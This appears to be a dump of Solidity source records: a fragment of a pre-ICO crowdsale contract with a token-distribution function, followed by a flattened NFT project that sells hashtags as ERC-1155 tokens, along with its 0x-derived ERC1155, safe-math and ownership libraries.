investor. * @param _investorPreIco the pre-ICO investor address. */ function getPreIcoInvestment(address _investorPreIco) constant public returns (uint256) { return investmentsPreIco[_investorPreIco]; } /** * @dev Set start time and end time for ICO. * @dev Only applies when tokens distributions to pre-ICO investors were processed. * @param _startTimeIco The ICO start time. * @param _endTimeIco The ICO end time. */ function setStartTimeIco(uint256 _startTimeIco, uint256 _endTimeIco) whenPreIcoSaleHasEnded beforeReachingHardCap onlyOwner public { require(_startTimeIco >= now && _endTimeIco > _startTimeIco); require(isTokenRateCalculated); startTimeIco = _startTimeIco; endTimeIco = _endTimeIco; } /** * @dev Add new investment to the pre-ICO investments storage. * @param _from The address of a pre-ICO investor. * @param _value The investment received from a pre-ICO investor. */ function addInvestmentPreIco(address _from, uint256 _value) internal { if (investmentsPreIco[_from] == 0) { investorsPreIco.push(_from); } investmentsPreIco[_from] = investmentsPreIco[_from].add(_value); } }
Distribute tokens to pre-ICO investors using pagination. Pagination proceeds the set value (paginationCount) of tokens distributions per one function call. _paginationCount The value that used for pagination./
function distributeTokensPreIco(uint256 _paginationCount) onlyOwner public { require(isTokenRateCalculated && !isTokensPreIcoDistributed); require(_paginationCount > 0); uint256 count = 0; for (uint256 i = distributionPreIcoCount; i < getPreIcoInvestorsCount(); i++) { if (count == _paginationCount) { break; } uint256 investment = getPreIcoInvestment(getPreIcoInvestor(i)); uint256 tokensAmount = investment.mul(exchangeRatePreIco); tokensSoldTotal = tokensSoldTotal.add(tokensAmount); token.transferFromIco(getPreIcoInvestor(i), tokensAmount); count++; } distributionPreIcoCount = distributionPreIcoCount.add(count); if (distributionPreIcoCount == getPreIcoInvestorsCount()) { isTokensPreIcoDistributed = true; } }
7,680,549
pragma solidity ^0.7.5; pragma abicoder v2; import "./lib/LibSafeMath.sol"; import "./ERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; contract ProofOfCultureMinter is Ownable { using LibSafeMath for uint256; struct _HashtagContainer { string originalHashtag; string normalizedHashtag; uint256 timestamp; } uint256 public hashtagTokenType; uint256 public batchOrderLimit; ERC1155Mintable public mintableErc1155; uint256 public constant MAX_NFT_SUPPLY = 9999; address payable public treasury; string[] public claimedHashtags; mapping(uint256 => _HashtagContainer) public tokenIdToHashtagContainer; mapping(string => uint256) public normalizedHashtagToTokenId; mapping(string => string) public normalizedHashtagToImageURI; mapping(uint256 => string) public tokenIdToImageURI; // platform supporter vars uint256 public constant supporterTokenCap = 15; // THIS WILL NEVER CHANGE!! WE ONLY MINT A SET AMOUNT FOR SUPPORTERS uint256 public currentSupporterTokenCount; // image change counts mapping(uint256 => uint256) public tokenIdToImageChangeCount; // admin toggles bool public saleStarted; constructor( address _mintableErc1155, address payable _treasury, uint256 _hashtagTokenType, uint256 _batchOrderLimit ) { mintableErc1155 = ERC1155Mintable(_mintableErc1155); treasury = _treasury; hashtagTokenType = _hashtagTokenType; batchOrderLimit = _batchOrderLimit; } event UpdatedRegistry( uint256 tokenId, string hashtag ); event Received(address, uint); /** * @dev Gets the total supply, which is the sum of all hashtags minted. Note that NFTs have a maxIndex but FTs don't, so we just keep track of the total here. */ function totalSupply() public view returns (uint256) { return mintableErc1155.maxIndex(hashtagTokenType); } /** * @dev Returns all claimed hashtags as an array */ function getAllClaimedHashtags() public view returns (string[] memory) { return claimedHashtags; } /** * @dev Return original (not normalized) hashtags that a given address owns. Leverages nfTokensOf but returns the hashtags instead of the token IDs */ function hashtagsOf(address _address) public view returns (string[] memory) { uint256[] memory tokenIds = mintableErc1155.nfTokensOf(_address); string[] memory hashtags = new string[](tokenIds.length); for(uint i=0; i<tokenIds.length; i++){ uint256 tokenId = tokenIds[i]; hashtags[i] = tokenIdToHashtagContainer[tokenId].originalHashtag; } return hashtags; } /** * @dev Validate hashtag. - string must start with a '#' - string length must be min 2 chars (# + one char) - string length must be max 31 chars (1 + 30) - string must be alphanumeric + underscore (aside from the first hashtag) */ function validateHashtag(string memory _hashtag) public pure returns (bool) { bytes memory b = bytes(_hashtag); if(b.length < 2) return false; if(b.length > 31) return false; bytes1 firstChar = b[0]; if (!(firstChar == 0x23)) return false; // make sure the first character is a '#' for(uint i=1; i<b.length; i++){ bytes1 char = b[i]; if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x5F) //_ ) return false; } return true; } /** * @dev Normalize hashtag by making uppercase into lowercase. Examples: - #BlackLivesMatter => #blacklivesmatter - #BLM => #blm - #NFTsAreAwesome123 => #nftsareawesome123 */ function normalizeHashtag(string memory _hashtag) public pure returns (string memory) { bytes memory b = bytes(_hashtag); require(b.length >= 2, "Hashtag cannot be less than 2 chars"); require(b.length <= 31, "Hashtag cannot be more than 31 chars"); bytes1 firstChar = b[0]; require(firstChar == 0x23, "Hashtag must start with a '#'"); bytes memory bLower = new bytes(b.length); for (uint i = 0; i < b.length; i++) { // Uppercase character... if ((uint8(b[i]) >= 65) && (uint8(b[i]) <= 90)) { // So we add 32 to make it lowercase bLower[i] = bytes1(uint8(b[i]) + 32); } else { bLower[i] = b[i]; } } return string(bLower); } /** * @dev Gets the price up to 9999 tokens. As we put in a lot of artistic work into each token, we are taking a constant pricing model, instead of the bonding curve model popularly seen in this space recently. */ function getPrice() public view returns (uint256) { require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); return 1000000000000000000; // 1ETH } /** * @dev Set address of treasury - the address that will receive all payments */ function setTreasury(address payable _treasury) external onlyOwner() { treasury = _treasury; } /** * @dev Set batch order limit */ function setBatchOrderLimit(uint256 _batchOrderLimit) external onlyOwner() { batchOrderLimit = _batchOrderLimit; } /** * @dev Set Image URL for Token Id in batch. * Note that we will only use this after individually crafting the image. * The image will be hosted on IPFS and seeded properly for perpetuity so the image can remain accessible. * * If for any reason we have to update the image after the first time, we refund the original price of the art * to the current owner of the token. */ function setBatchImageURIsForTokens(uint256[] calldata _ids, string[] calldata _image_uris) external onlyOwner() { require(_ids.length == _image_uris.length, "Batch arrays must be of the same length"); for (uint256 i = 0; i < _ids.length; ++i) { // Cache value to local variable to reduce read costs. uint256 id = _ids[i]; string memory image_uri = _image_uris[i]; // If this image has already been changed once, then we should refund the original price to the current owner uint256 imageChangeCount = tokenIdToImageChangeCount[id]; if (imageChangeCount == 1) { address payable owner = payable(mintableErc1155.ownerOf(id)); owner.transfer(1000000000000000000); // refund the 1ETH } tokenIdToImageURI[id] = image_uri; // also set it for the hashtag _HashtagContainer memory container = tokenIdToHashtagContainer[id]; normalizedHashtagToImageURI[container.normalizedHashtag] = image_uri; tokenIdToImageChangeCount[id] += 1; } } /** * @dev Set saleStarted boolean to start or end sale */ function setSaleStarted(bool _saleStarted) external onlyOwner() { saleStarted = _saleStarted; } /** * @dev Mint signature hashtags for our platform supporters (up to a certain limit that is a constant). */ function mintSignatureTokens(string[] memory _hashtags) external onlyOwner() { require(currentSupporterTokenCount.safeAdd(_hashtags.length) <= supporterTokenCap, "Exceeds supporterTokenCap"); for (uint i = 0; i < _hashtags.length; i++) { string memory hashtag = _hashtags[i]; if (!validateHashtag(hashtag)) { continue; // skip if this is not a valid hashtag } string memory normalizedHashtag = normalizeHashtag(hashtag); if (normalizedHashtagToTokenId[normalizedHashtag] != 0) { continue; // skip if this hashtag already exists } // mint the NFT address[] memory dsts = new address[](1); dsts[0] = msg.sender; uint256 index = mintableErc1155.maxIndex(hashtagTokenType) + 1; uint256 tokenId = hashtagTokenType | index; mintableErc1155.mintNonFungible(hashtagTokenType, dsts); // bookkeeping _HashtagContainer memory hc; hc.normalizedHashtag = normalizedHashtag; hc.originalHashtag = hashtag; hc.timestamp = block.timestamp; tokenIdToHashtagContainer[tokenId] = hc; normalizedHashtagToTokenId[normalizedHashtag] = tokenId; claimedHashtags.push(hashtag); emit UpdatedRegistry(tokenId, hashtag); currentSupporterTokenCount += 1; } } /** * @dev Mint multiple hashtags at once. We will try our best to mint all but if they have already been claimed, then we will refund the money back. Note that this function is inefficient because each mint actually emits a transfer event and this doesn't scale. 25 should be OK, but for anything more, consider the EIP2309 extension of ERC721. */ function mint(address _dst, string[] memory _hashtags) public payable { require(saleStarted, "Sale has not started yet"); require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); uint numberOfNfts = _hashtags.length; require(numberOfNfts > 0, "numberOfNfts cannot be 0"); require(numberOfNfts <= batchOrderLimit, "You may not buy more than the batch limit at once"); require(totalSupply().safeAdd(numberOfNfts) <= MAX_NFT_SUPPLY, "Exceeds MAX_NFT_SUPPLY"); require(getPrice().safeMul(numberOfNfts) <= msg.value, "Ether value sent is not correct"); // set price upfront before minting - we will need to use this to calculate refunds uint256 pricePerHashtag = getPrice(); // Keep track of which hashtags we were able to mint uint mintedCount = 0; for (uint i = 0; i < numberOfNfts; i++) { string memory hashtag = _hashtags[i]; if (!validateHashtag(hashtag)) { continue; // skip if this is not a valid hashtag } string memory normalizedHashtag = normalizeHashtag(hashtag); if (normalizedHashtagToTokenId[normalizedHashtag] != 0) { continue; // skip if this hashtag already exists } // mint the NFT address[] memory dsts = new address[](1); dsts[0] = _dst; uint256 index = mintableErc1155.maxIndex(hashtagTokenType) + 1; uint256 tokenId = hashtagTokenType | index; mintableErc1155.mintNonFungible(hashtagTokenType, dsts); // bookkeeping _HashtagContainer memory hc; hc.normalizedHashtag = normalizedHashtag; hc.originalHashtag = hashtag; hc.timestamp = block.timestamp; tokenIdToHashtagContainer[tokenId] = hc; normalizedHashtagToTokenId[normalizedHashtag] = tokenId; mintedCount++; claimedHashtags.push(hashtag); emit UpdatedRegistry(tokenId, hashtag); } // Only charge for the hashtags that we were able to mint, and refund the rest uint256 actualTotalPrice = pricePerHashtag.safeMul(mintedCount); treasury.transfer(actualTotalPrice); msg.sender.transfer(msg.value - actualTotalPrice); } receive() external payable { emit Received(msg.sender, msg.value); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; import "./LibRichErrors.sol"; import "./LibSafeMathRichErrors.sol"; library LibSafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; if (c / a != b) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { if (b > a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; if (c < a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; import "./lib/LibSafeMath.sol"; import "./lib/LibAddress.sol"; import "./ERC1155.sol"; import "./interface/IERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; import "./mixin/MixinContractURI.sol"; import "./mixin/MixinTokenURI.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items contract ERC1155Mintable is IERC1155Mintable, ERC1155, MixinContractURI, MixinTokenURI { using LibSafeMath for uint256; using LibAddress for address; uint256 internal nonce; /// mapping from token to max index mapping (uint256 => uint256) public maxIndex; mapping (uint256 => mapping(address => bool)) internal creatorApproval; modifier onlyCreator(uint256 _id) { require(creatorApproval[_id][msg.sender], "not an approved creator of id"); _; } function setCreatorApproval(uint256 id, address creator, bool status) external onlyCreator(id) { creatorApproval[id][creator] = status; } /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external override onlyOwner() returns (uint256 type_) { // Store the type in the upper 128 bits type_ = (++nonce << 128); // Set a flag if this is an NFI. if (isNF) { type_ = type_ | TYPE_NF_BIT; } creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev creates a new token /// @param type_ of token function createWithType( uint256 type_ ) external onlyOwner() { creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external override onlyCreator(id) { // sanity checks require( isFungible(id), "TRIED_TO_MINT_FUNGIBLE_FOR_NON_FUNGIBLE_TOKEN" ); // mint tokens for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 quantity = quantities[i]; // Grant the items to the caller balances[id][dst] = quantity.safeAdd(balances[id][dst]); // Emit the Transfer/Mint event. // the 0x0 source address implies a mint // It will also provide the circulating supply info. emit TransferSingle( msg.sender, address(0x0), dst, id, quantity ); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, quantity, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } } /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external override onlyCreator(type_) { require( isNonFungible(type_), "TRIED_TO_MINT_NON_FUNGIBLE_FOR_FUNGIBLE_TOKEN" ); // Index are 1-based. uint256 index = maxIndex[type_] + 1; for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 id = type_ | index + i; transferNFToken(id, address(0x0), dst); // You could use base-type id to store NF type balances if you wish. balances[type_][dst] = balances[type_][dst].safeAdd(1); emit TransferSingle(msg.sender, address(0x0), dst, id, 1); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, 1, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } // record the `maxIndex` of this nft type // this allows us to mint more nft's of this type in a subsequent call. maxIndex[type_] = to.length.safeAdd(maxIndex[type_]); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.5; contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; library LibSafeMathRichErrors { // bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)")) bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR = 0xe946c1bb; // bytes4(keccak256("Uint256DowncastError(uint8,uint256)")) bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR = 0xc996af7b; enum BinOpErrorCodes { ADDITION_OVERFLOW, MULTIPLICATION_OVERFLOW, SUBTRACTION_UNDERFLOW, DIVISION_BY_ZERO } enum DowncastErrorCodes { VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96 } // solhint-disable func-name-mixedcase function Uint256BinOpError( BinOpErrorCodes errorCode, uint256 a, uint256 b ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_BINOP_ERROR_SELECTOR, errorCode, a, b ); } function Uint256DowncastError( DowncastErrorCodes errorCode, uint256 a ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_DOWNCAST_ERROR_SELECTOR, errorCode, a ); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; /** * Utility library of inline functions on addresses */ library LibAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; import "./lib/LibSafeMath.sol"; import "./lib/LibAddress.sol"; import "./interface/IERC1155.sol"; import "./interface/IERC1155Receiver.sol"; import "./mixin/MixinNonFungibleToken.sol"; import "./mixin/MixinOwnable.sol"; import "./WhitelistExchangesProxy.sol"; contract ERC1155 is IERC1155, MixinNonFungibleToken, Ownable { using LibAddress for address; using LibSafeMath for uint256; // selectors for receiver callbacks bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61; bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81; // id => (owner => balance) mapping (uint256 => mapping(address => uint256)) internal balances; // owner => (operator => approved) mapping (address => mapping(address => bool)) internal operatorApproval; address public exchangesRegistry; function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() { exchangesRegistry = newExchangesRegistry; } function burn(address from, uint256 id, uint256 amount) external { require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); require(isFungible(id), "Don't allow burn of NFTs via this function"); balances[id][from] = balances[id][from].safeSub(amount); emit TransferSingle(msg.sender, from, address(0x0), id, amount); } /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfer if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); transferNFToken(id, from, to); // You could keep balance of NF type in base type id like so: // uint256 baseType = getNonFungibleBaseType(_id); // balances[baseType][_from] = balances[baseType][_from].safeSub(_value); // balances[baseType][_to] = balances[baseType][_to].safeAdd(_value); } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); // Only supporting a global operator approval allows us to do // only 1 check and not to touch storage to handle allowances. require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfers for (uint256 i = 0; i < ids.length; ++i) { // Cache value to local variable to reduce read costs. uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); transferNFToken(id, from, to); } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external override { operatorApproval[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) public override view returns (bool) { bool approved = operatorApproval[owner][operator]; if (!approved && exchangesRegistry != address(0)) { return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true; } return approved; } /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external override view returns (uint256) { if (isNonFungibleItem(id)) { return nfOwners[id] == owner ? 1 : 0; } return balances[id][owner]; } /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the Token types requested function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { // sanity check require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); // get balances balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; } else { balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; import "./IERC1155.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items interface IERC1155Mintable is IERC1155 { /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external returns (uint256 type_); /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external; /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external; } pragma solidity ^0.7.5; import "./MixinOwnable.sol"; contract MixinContractURI is Ownable { string public contractURI; function setContractURI(string calldata newContractURI) external onlyOwner() { contractURI = newContractURI; } } pragma solidity ^0.7.5; import "./MixinOwnable.sol"; import "../lib/LibString.sol"; contract MixinTokenURI is Ownable { using LibString for string; string public baseMetadataURI = ""; function setBaseMetadataURI(string memory newBaseMetadataURI) public onlyOwner() { baseMetadataURI = newBaseMetadataURI; } function uri(uint256 _id) public view returns (string memory) { return LibString.strConcat( baseMetadataURI, LibString.uint2hexstr(_id) ); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; /// @title ERC-1155 Multi Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md /// Note: The ERC-165 